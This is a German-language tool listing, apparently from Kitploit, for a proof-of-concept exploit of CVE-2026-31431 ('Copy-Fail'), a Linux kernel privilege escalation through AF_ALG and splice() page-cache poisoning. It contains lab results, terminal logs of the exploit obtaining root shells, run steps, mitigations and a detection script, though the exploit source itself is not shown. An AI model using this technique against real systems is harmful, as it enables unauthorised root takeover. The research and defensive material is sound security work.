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linux-copy-fail-CVE-2026-31431 — Proof-of-Concept-Exploit für CVE-2026-31431 (Copy-Fail), eine Schwachstelle im Linux-Kernel in AF_ALG und splice(), die Page-Cache-Poisoning und lokale Privilegieneskalation ermöglicht. Enthält Analyse, Laborergebnisse und Erkennungsskript. | Kitploit
Tools/GitHubGitHub/adilkurtulmus/linux-copy-fail-cve-2026-31431
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GitHubadilkurtulmus/linux-copy-fail-cve-2026-31431

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linux-copy-fail-CVE-2026-31431

Proof-of-Concept-Exploit für CVE-2026-31431 (Copy-Fail), eine Schwachstelle im Linux-Kernel in AF_ALG und splice(), die Page-Cache-Poisoning und lokale Privilegieneskalation ermöglicht. Enthält Analyse, Laborergebnisse und Erkennungsskript.

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vor 3 MonatenNoch nicht geprüft

Linux Copy-Fail-Analyse (CVE-2026-31431) 🛡️

Dieses Repository enthält eine detaillierte Analyse, einen Proof-of-Concept (PoC) sowie Labortestergebnisse für die Schwachstelle CVE-2026-31431, allgemein bekannt als „Copy-Fail“.

Copy-Fail nutzt einen Logikfehler in der Crypto-API des Linux-Kernels (AF_ALG) in Kombination mit dem Systemaufruf splice() aus. Es ermöglicht einem nicht privilegierten lokalen Angreifer, Page-Cache-Poisoning durchzuführen, was zu einer lokalen Privilegienausweitung (LPE) führt.

🧠 Technischer Überblick: Page-Cache-Poisoning

Im Gegensatz zu herkömmlichen Exploits, die Dateien auf der Festplatte verändern, zielt Copy-Fail direkt auf den Page Cache (RAM) ab. Wenn eine Datei gelesen wird, speichert der Kernel eine Kopie im RAM, um die Leistung zu verbessern. Aufgrund eines Speicherverwaltungsfehlers im authenc-Algorithmus auf bestimmten Kernel-Versionen kann ein Angreifer den Kernel dazu verleiten, diese „schreibgeschützten" Speicherseiten zu überschreiben.

Durch das Vergiften der Speicherseiten von SETUID-Binärdateien wie /usr/bin/su ist es möglich, die Authentifizierung zu umgehen und eine Root-Shell zu starten.

🧪 Laborumgebungen und Testergebnisse

Die Tests wurden über mehrere Ubuntu-Distributionen hinweg durchgeführt, wobei insbesondere die Auswirkungen von Kernel-Backports und Patch-Management untersucht wurden.

DistributionKernel-VersionPatch-DatumErgebnisBeobachtung
Ubuntu 24.046.8.0-87-genericOkt 2025❌ FehlgeschlagenSicherheitsupdates aktiv
Ubuntu 22.045.15.0-125-genericSep 2024✅ ERFOLGVerwundbar (ungepatcht)
Ubuntu 18.044.15.0-197-genericNov 2022✅ ERFOLGVerwundbar (ungepatcht)

Das Backport-Paradoxon

Kernel-Versionsnummern können irreführend sein. Während „neuere" Kernel wie 6.8 durch Sicherheitspatches geschützt sind, blieben ältere oder EOL-Kernel (End of Life) wie 4.15 und 5.15 aufgrund fehlender Backport-Fixes vollständig verwundbar.

📊 Ubuntu 22.04 (Kernel 5.15) Vergleichende Analyse

Während der Forschung wurde ein bemerkenswertes Ergebnis erzielt, indem zwei verschiedene Ubuntu-22.04-Systeme mit derselben Haupt-Kernel-Version getestet wurden:

Kernel-Version

Analyse:

Dieser Test beweist, dass die Systemsicherheit nicht allein anhand der Hauptversionsnummer gemessen werden kann. Ein Server mit 5.15.0-125 kann in Sekunden kompromittiert werden, während 5.15.0-170 den Angriff vollständig blockiert.

Erfolgreiche Exploit-Ausgabe (Kernel 5.15.0-125):

root@kitploit:~
$ python3 ubuntu_22.04_copy_fail_exploit.py 
[*] Poisoning /usr/bin/su (Ubuntu 22.04 / Kernel 5.15)...
[+] Exploit completed. Triggering Root...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream01:/tmp#

🛠️ Proof of Concept (PoC)

Der PoC wurde mit ctypes entwickelt, um die Kompatibilität über verschiedene Python-Versionen hinweg zu gewährleisten (insbesondere für Versionen ohne native os.splice-Unterstützung).

Hauptmerkmale:

  • Low-Level-libc.splice-Aufrufe über ctypes.
  • Erzwungenes Caching der Ziel-Binärdatei.
  • Demonstration der lateralen Auswirkung (Vergiftung durch einen Benutzer betrifft alle Benutzer).

Ausführen des Exploits:

1. Laden der erforderlichen Crypto-Module:

sudo modprobe af_alg algif_aead authenc echainiv

2. Ausführen des Exploits:

python3 final_exploit.py

🎥 Demonstration

root@kitploit:~
$ python3 ubuntu_18.04_copy_fail_exploit.py
[*] /bin/su zehirleniyor (Kernel 4.15)...
[+] Bellek zehirlendi! Root tetikleniyor...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream02:/tmp#

🛡️ Abhilfe und Prävention

  • 1. Die endgültige Lösung: Kernel-Update

  • sudo apt update && sudo apt upgrade -y
  • sudo reboot

2. Notfallmaßnahme: Leeren des Caches

  • Zum Bereinigen der vergifteten Seiten im Speicher

sync; echo 3 | sudo tee /proc/sys/vm/drop_caches

3. Proaktive Verteidigung: Blacklisting von Modulen

  • echo "blacklist authenc" | sudo tee /etc/modprobe.d/blacklist-authenc.conf
  • echo "blacklist algif_aead" | sudo tee -a /etc/modprobe.d/blacklist-authenc.conf
  • sudo depmod -a

🛡️ Skript zur Erkennung von Schwachstellen

root@kitploit:~
# 1. Kernel-Version prüfen
# uname -r

# 2. Geladene Module prüfen (Sicher, wenn keine Ausgabe)
# lsmod | grep -E "algif_aead|authencesn"

# 3. Kritischer Test — authencesn bind
python3 -c "
import socket
try:
    s = socket.socket(38, 5, 0)
    s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
    print('[!] KRITISCH — System verwundbar!')
    s.close()
except:
    print('[+] Sicher — authencesn nicht erreichbar')
"

# 4. setuid-Binärdatei-Hash (Referenz)
sha256sum /usr/bin/su /usr/bin/sudo /usr/bin/passwd

Bewertungstabelle:

ErgebnisBedeutung
Keine lsmod-Ausgabe + bind-Fehler✅ Sicher
lsmod-Ausgabe vorhanden ODER bind erfolgreich⚠️ Verwundbar, Patches sofort anwenden

Haftungsausschluss: Diese Forschung und der PoC dienen ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken. Die Verwendung auf nicht autorisierten Systemen kann rechtliche Konsequenzen haben.

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Patch-Datum
Ergebnis
Status
5.15.0-125Sep 2024✅ ERFOLGVerwundbar (Exploit ausgelöst)
5.15.0-170Jan 2026❌ FEHLGESCHLAGENSicher (gepatcht)